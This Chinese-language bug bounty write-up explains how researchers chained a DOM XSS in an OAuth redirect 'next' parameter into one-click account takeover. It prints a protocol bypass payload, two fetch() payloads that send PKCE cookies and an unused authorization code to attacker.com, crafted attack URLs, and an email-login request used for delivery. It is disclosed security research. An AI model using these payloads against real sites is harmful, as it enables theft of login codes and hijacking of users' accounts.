DOM XSS 一键帐户接管
寻找 DOM XSS
在登录流程的第 8 步, next
参数的值将放置在目标属性中,然后客户端 JavaScript 将使用该属性来重定向网页。
正如上图所看到的,目标 URL 用于 href sink,这是一个典型的 javascript sink:协议 DOM XSS。
然而,当尝试典型的Payload时,却遇到了 500 内部服务器错误:
来尝试绕过。
javascript:alert(1) => ❌ Does not work
https://attacker.com => ❌ Does not work
https://account.partner.com/random_stuff_here => ✅ Works
javascript://account.partner.com/random_stuff_here => ✅ Works
javascript://account.partner.com/%0Aalert(1) => ✅ Works
所以服务器基本只检查域名是否在 ://
之后的 account.partner.com
,而不检查协议。此外, javascript://account.partner.com/%0Aalert(1)
是一个完全有效的XSS Payload。在 JS 中, //
被视为行注释,因此它将注释掉 account.partner.com
部分,而 %0A
将创建新行,然后 alert(1)
被执行。
可以在浏览器控制台上亲自尝试一下:
window.location.href = "javascript://account.partner.com/%0Aalert(1)"
OK,现在有了一个有效的 XSS Payload来绕过域名检查了。
第一次尝试执行帐户接管
为了执行帐户接管,首先需要做两件事:
- 与授权代码关联的代码验证程序(在
xxxxx-pkce
cookie 中可用) - 授权码(可在 URL 上找到)
以上都可以通过 XSS 获取这些并将它们发送回攻击者服务器。然后有一个问题–XSS 开启:
https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0Aalert(window.location.href)&code=<authorization_code>
授权码使用成功后才执行。
如上图所示, authorization_code
已在步骤 9 中使用并验证。由于 authorization_code
只允许使用1次,当尝试在 POST /access_token
使用捕获的 authorization_code
和 code_verifier
时:
{"error":"invalid_grant","errorDescription":"`code` is expired"}
我们需要找到某种方法,以确保能够在使用受害者的 code verifier
和相关的 authorization code
之前捕获它!
如何克服1次性代码问题
- 为了获取受害者的有效访问令牌,我们需要获取他们的代码验证程序(
xxxxx-pkce
)和未使用的生成的授权代码(code
) - 几个小时后,研究人员想到了强制受害者的浏览器使用
attacker’s authorization code
触发 XSS 并窃取受害者未使用的authorization code
的想法
- 首先将
redirect_uri
参数篡改为如下所示:
https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>
- 第 7 步的
/oauth_callback
将如下所示:
注意,现在 URL 中有 2 个 code
参数,因为服务器会将新生成的受害者的 authorization_code
添加到之前提供的 redirect_uri
之前:
https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>&code=<victim_code>
- 这次应用程序将使用 URL 中的第一个
code
参数和log the victim into the Attacker’s account
- 之后,XSS 将被触发,将未使用的受害者的授权代码(第二个
code
)发送到攻击者的服务器 - 攻击者现在可以使用此未使用的代码来替换受害者的访问令牌
- 当然还需要考虑
code_verifier
(xxxxx-pkce
cookie) - 说白了,就是迫使受害者使用攻击者的authorization_code和code_verifier进行登录,然后窃取他们未使用的
authorization_code
和code_verifier
- 实施流程如下:
- 受害者点击恶意链接并登录页面
account.redacted.com
,该链接将如下所示:
https://account.redacted.com/authorize?redirect_uri=https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]&response_type=code
- 成功登录后,
account.redacted.com
将返回redirect_uri
中的authorization_code
,然后将受害者重定向到该redirect_url
redirect_url = redirect_uri + "<authorization_code>"
account.partner.com
将验证此authorization_code
以及code_verifier
,之后,受害者继续被重定向到参数next
中存储的 URL(也就是 XSS Payload)XSS payload 1
将触发并执行 3 件事:
- 将当前受害者的 cookie
xxxxx-pkce
(code_verifier
) 发送回攻击者的服务器 - 将受害者的
xxxxx-pkce
cookie 设置为攻击者的xxxxx-pkce
cookie - 强制受害者使用
attacker's authorization code
执行 OAuth 流程again
,从而,将受害者登录到攻击者的帐户
XSS Payload 1 具体代码:
// The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server
fetch("//attacker.com?pkce=" + document.cookies)
.then(r => {
// Set the attacker's pkce on the victim's browser
document.cookie="xxxxx-pkce = <attacker_pkce>"
// Force the victim to perform the OAuth flow again to log the victim in the attacker's account and trigger the 2nd XSS
window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]")
})
这次 redirect_uri
将如下所示:
https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A[XSS payload 2]
- 现在,由于攻击者的
xxxxx-pkce
和code
均有效,因此受害者现在将成功登录攻击者帐户并触发XSS payload 2
- 注意第一个参数
code
(attacker_code
) 用于向攻击者的帐户验证受害者的身份,第二个参数code
(victim_code
) 仍将保持未使用状态
XSS payload 2
会将 URL 中的unused authorization_code
发送回攻击者服务器
// the victim's authorization code will be in the url
fetch("//attacker.com?code=" + window.location.href)
-
总体而言,精心设计的漏洞利用 URL 和 XSS Payload 如下所示:
- Attack URL:
https://account.redacted.com/authorize?redirect_uri=javascript://account.partner.com/%0A[XSS payload 1]
- XSS Payload 1:
// The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server fetch("//attacker.com?pkce=" + document.cookies) .then(r => { // Set the attacker's pkce on the victim's browser document.cookie="xxxxx-pkce =
" // Force the victim to perform the OAuth flow again to log the victim in the attacker's account and trigger the 2nd XSS window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code= &next=javascript://account.partner.com/%0A[XSS payload 2]") }) - XSS Payload 2:
// the victim's authorization code will be in the urlfetch("//attacker.com?code=" + window.location.href)
-
在攻击者的服务器上收到受害者的
authorization_code
和code_verifier
后,攻击者就可以利用它们来“兑换”access token
升级、再升级,一键帐户接管
- 阻止这个漏洞最大化影响的问题是,它需要在社工的前提下付出巨大的努力来诱骗受害者点击精心设计的链接,显然,用户点击这样冗长链接的可能性很小
- 因此研究人员继续探索该应用程序并找到了所有可能的登录门户,幸运的是,他们发现其中两个允许用户通过电子邮件登录,请求包如下:
POST /v1/email/login/request HTTP/2
Host: api.xxxxxx.com
Cookie: <====SNIP====>
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://account.xxxx.com/
Content-Type: application/json
X-Locale-Language: en-US
Content-Length: 202
Origin: https://account.xxxxx.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{"email":"longtheshrimp@wearehackerone.com","next_url":"<===XSS_REDIRECT_HERE===>","login_session_uuid":"697a3410-11ff-4ba6-bd31-3b26ed7dfac5"}
- 这将向受害者发送一封包含登录链接的电子邮件
-
受害者点击按钮后,会出现2种情况:
- 如果受害者已经登录,应用程序会自动将受害者重定向回参数
next_url
中的恶意链接 ⇒ ATO XSS被触发 - 如果受害者没有登录,电子邮件中的登录链接将自动将受害者登录到他的帐户,之后,受害者将被重定向回攻击者
next_url
中的恶意链接 ⇒ ATO XSS被触发
以上就是通过目标电子邮件的一键式 ATO 的完整利用链,在实际利用中,研究人员创建了一个自动化脚本来自动执行上面提到的所有步骤。
最终,他们的努力得到了回报,获得了厂商发出的$8000的奖励。
- 如果受害者已经登录,应用程序会自动将受害者重定向回参数